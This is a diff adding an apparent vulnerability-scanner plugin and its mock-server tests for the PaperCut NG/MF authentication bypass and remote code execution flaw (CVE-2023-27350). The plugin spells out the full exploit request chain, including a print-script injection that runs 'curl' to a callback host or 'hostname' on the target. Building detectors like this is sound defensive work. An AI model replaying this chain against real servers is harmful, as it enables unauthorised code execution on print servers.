- - - diff --git a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto new file mode 100644 index 000000000..4b1d97960 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto @@ -0,0 +1,353 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "PapercutNgMf_CVE_2023_27350" + author: + "Robert Dick (robert@doyensec.com) for the Templated version, " + "Isaac_GC (isaac@nu-that.us) for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "TSUNAMI_COMMUNITY" + value: "CVE_2023_27350" + } + title: "Papercut NG/MF Authentication Bypass and RCE" + description: + "This vulnerability allows remote attackers to bypass authentication" + " on affected installations of PaperCut NG/MF." + " Authentication is not required to exploit this vulnerability." + " The specific flaw exists within the SetupCompleted class and the" + " issue results from improper access control." + " An attacker can leverage this vulnerability to bypass authentication" + " and execute arbitrary code in the context of SYSTEM (Windows) " + "or Root/Papercut User (Linux)." + recommendation: + "Update to versions that are at least 20.1.7, 21.2.11, 22.0.9, or any later" + " version." + severity: CRITICAL + related_id: { + publisher: "CVE" + value: "CVE-2023-27350" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_papercut" + http_request: { + method: GET + uri: "/app?service=page/SetupCompleted" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: "Configuration Wizard : Setup Complete" } + } + extract_any: { + patterns: [ + { + from_header: { name: "Set-Cookie" } + regexp: "JSESSIONID=([a-zA-Z0-9.]+);" + variable_name: "COOKIE" + } + ] + } + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "complete_setup" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/SetupCompleted/$Form&sp=S0&Form0=$Hidden,analyticsEnabled,$Submit&$Hidden=true&$Submit=Login" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + extract_any: { + patterns: [ + { + from_header: { name: "Set-Cookie" } + regexp: "JSESSIONID=([a-zA-Z0-9.]+);" + variable_name: "COOKIE" + } + ] + } + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_settings_1" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/quickFindForm&sp=S0&Form0=$TextField,doQuickFind,clear&$TextField=print-and-device.script.enable&doQuickFind=Go" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + extract_any: { + patterns: [ + { + from_header: { name: "Set-Cookie" } + regexp: "JSESSIONID=([a-zA-Z0-9.]+);" + variable_name: "COOKIE" + } + ] + } + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "update_settings_1" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/$Form&sp=S1&Form1=$TextField$0,$Submit,$Submit$0&$TextField$0=Y&$Submit=Update" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_settings_2" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/quickFindForm&sp=S0&Form0=$TextField,doQuickFind,clear&$TextField=print.script.sandboxed&doQuickFind=Go" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "update_settings_2" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/ConfigEditor/$Form&sp=S1&Form1=$TextField$0,$Submit,$Submit$0&$TextField$0=N&$Submit=Update" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_printers" + http_request: { + method: GET + uri: "/app?service=page/PrinterList" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + response: { + http_status: 200 + } + } +} + +actions: { + name: "nav_first_printer" + http_request: { + method: GET + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + response: { + http_status: 200 + } + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "nav_scripting_tab" + http_request: { + method: GET + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "execute_script_callback" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/PrinterDetails/$PrinterDetailsScript.$Form&sp=S0&Form0=printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1&printerId=l1001&enablePrintScript=on&scriptBody=function printJobHook(inputs, actions) {}\r\njava.lang.Runtime.getRuntime().exec('curl {{ T_CBS_URI }}');&$Submit$1=Apply" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +# Action for when the callback server is disabled. This is all that's possible. + +actions: { + name: "execute_script_reflective" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/PrinterDetails/$PrinterDetailsScript.$Form&sp=S0&Form0=printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1&printerId=l1001&enablePrintScript=on&scriptBody=function printJobHook(inputs, actions) {}\r\njava.lang.Runtime.getRuntime().exec('hostname');&$Submit$1=Apply" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + response: { + expect_all: { + conditions: { body {} contains: "Saved successfully" } + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_papercut", + "complete_setup", + "nav_settings_1", + "update_settings_1", + "nav_settings_2", + "update_settings_2", + "nav_printers", + "nav_first_printer", + "nav_scripting_tab", + "execute_script_callback", + "sleep", + "check_callback_server_logs" + ] +} + +workflows: { + actions: [ + "fingerprint_papercut", + "complete_setup", + "nav_settings_1", + "update_settings_1", + "nav_settings_2", + "update_settings_2", + "nav_printers", + "nav_first_printer", + "nav_scripting_tab", + "execute_script_reflective" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto new file mode 100644 index 000000000..a6f0851c1 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto @@ -0,0 +1,275 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "PapercutNgMf_CVE_2023_27350" +} + +tests: { + name: "whenVuln_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + body_content: "... Saved successfully ..." + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + body_content: "... Saved successfully ..." + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} + + +tests: { + name: "whenRandomServer_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "... Hello world ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} + +# non-callback tests + +tests: { + name: "whenReflectiveVuln_returnsVuln" + expect_vulnerability: true + + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + body_content: "... Saved successfully ..." + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} + +tests: { + name: "whenReflectiveNotVuln_returnsNotVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + body_content: '{"status":200}' + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +}